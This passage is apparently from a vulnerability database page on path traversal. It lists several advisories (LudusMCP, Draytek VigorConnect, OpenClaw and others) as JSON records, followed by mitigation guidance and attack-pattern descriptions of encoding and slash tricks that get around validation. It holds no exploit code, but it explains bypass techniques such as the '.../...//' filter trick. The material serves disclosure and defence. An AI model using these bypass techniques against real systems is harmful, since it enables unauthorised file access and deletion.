    "nvd_published_at": "2021-09-30T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "ECOA BAS controller suffers from a path traversal vulnerability, causing arbitrary files deletion. Using the specific GET parameter, unauthenticated attackers can remotely delete arbitrary files on the affected device and cause denial of service scenario.",
  "id": "GHSA-hj73-xx75-phmm",
  "modified": "2022-05-24T19:16:13Z",
  "published": "2022-05-24T19:16:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41294"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-5130-7de92-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HJ87-3G9G-3832

Vulnerability from github – Published: 2026-08-09 21:30 – Updated: 2026-08-09 21:30
VLAI
Details

A flaw has been found in NocteDefensor LudusMCP up to 1.0.24. Affected is an unknown function of the file src/tools/insertCredsRangeConfig.ts of the component insert_creds_range_config. Executing a manipulation of the argument configPath/outputPath can lead to path traversal. The attack is restricted to local execution. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-19366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-09T19:17:01Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in NocteDefensor LudusMCP up to 1.0.24. Affected is an unknown function of the file src/tools/insertCredsRangeConfig.ts of the component insert_creds_range_config. Executing a manipulation of the argument configPath/outputPath can lead to path traversal. The attack is restricted to local execution. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-hj87-3g9g-3832",
  "modified": "2026-08-09T21:30:25Z",
  "published": "2026-08-09T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19366"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NocteDefensor/LudusMCP/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NocteDefensor/LudusMCP"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19366"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/866262"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387233"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387233/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HJ9J-3XXG-6259

Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2025-10-22 00:32
VLAI
Details

A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-13T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.",
  "id": "GHSA-hj9j-3xxg-6259",
  "modified": "2025-10-22T00:32:25Z",
  "published": "2022-05-24T19:17:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20124"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20124"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2021-42"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ9M-5RJQ-QXM8

Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30
VLAI
Details

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Smartypants SP Project & Document Manager allows Path Traversal.This issue affects SP Project & Document Manager: from n/a through 4.71.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-37224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T10:15:03Z",
    "severity": "HIGH"
  },
  "details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Smartypants SP Project \u0026 Document Manager allows Path Traversal.This issue affects SP Project \u0026 Document Manager: from n/a through 4.71.",
  "id": "GHSA-hj9m-5rjq-qxm8",
  "modified": "2024-07-09T12:30:56Z",
  "published": "2024-07-09T12:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37224"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/sp-client-document-manager/wordpress-sp-project-document-manager-plugin-4-71-directory-traversal-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ9P-9244-XG6J

Vulnerability from github – Published: 2026-09-26 03:30 – Updated: 2026-09-26 03:30
VLAI
Details

OpenClaw versions before 2026.8.1 contain a path traversal vulnerability in QQBot voice attachment handling where filenames are decoded twice, allowing encoded traversal segments to reappear after sanitization. Attackers can supply crafted voice attachments that write files outside the intended staging directory to other process-writable locations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T03:17:01Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw versions before 2026.8.1 contain a path traversal vulnerability in QQBot voice attachment handling where filenames are decoded twice, allowing encoded traversal segments to reappear after sanitization. Attackers can supply crafted voice attachments that write files outside the intended staging directory to other process-writable locations.",
  "id": "GHSA-hj9p-9244-xg6j",
  "modified": "2026-09-26T03:30:24Z",
  "published": "2026-09-26T03:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rm45-4jx5-2927"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100549"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-before-2026.8.1-path-traversal-via-qqbot-voice-filenames"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.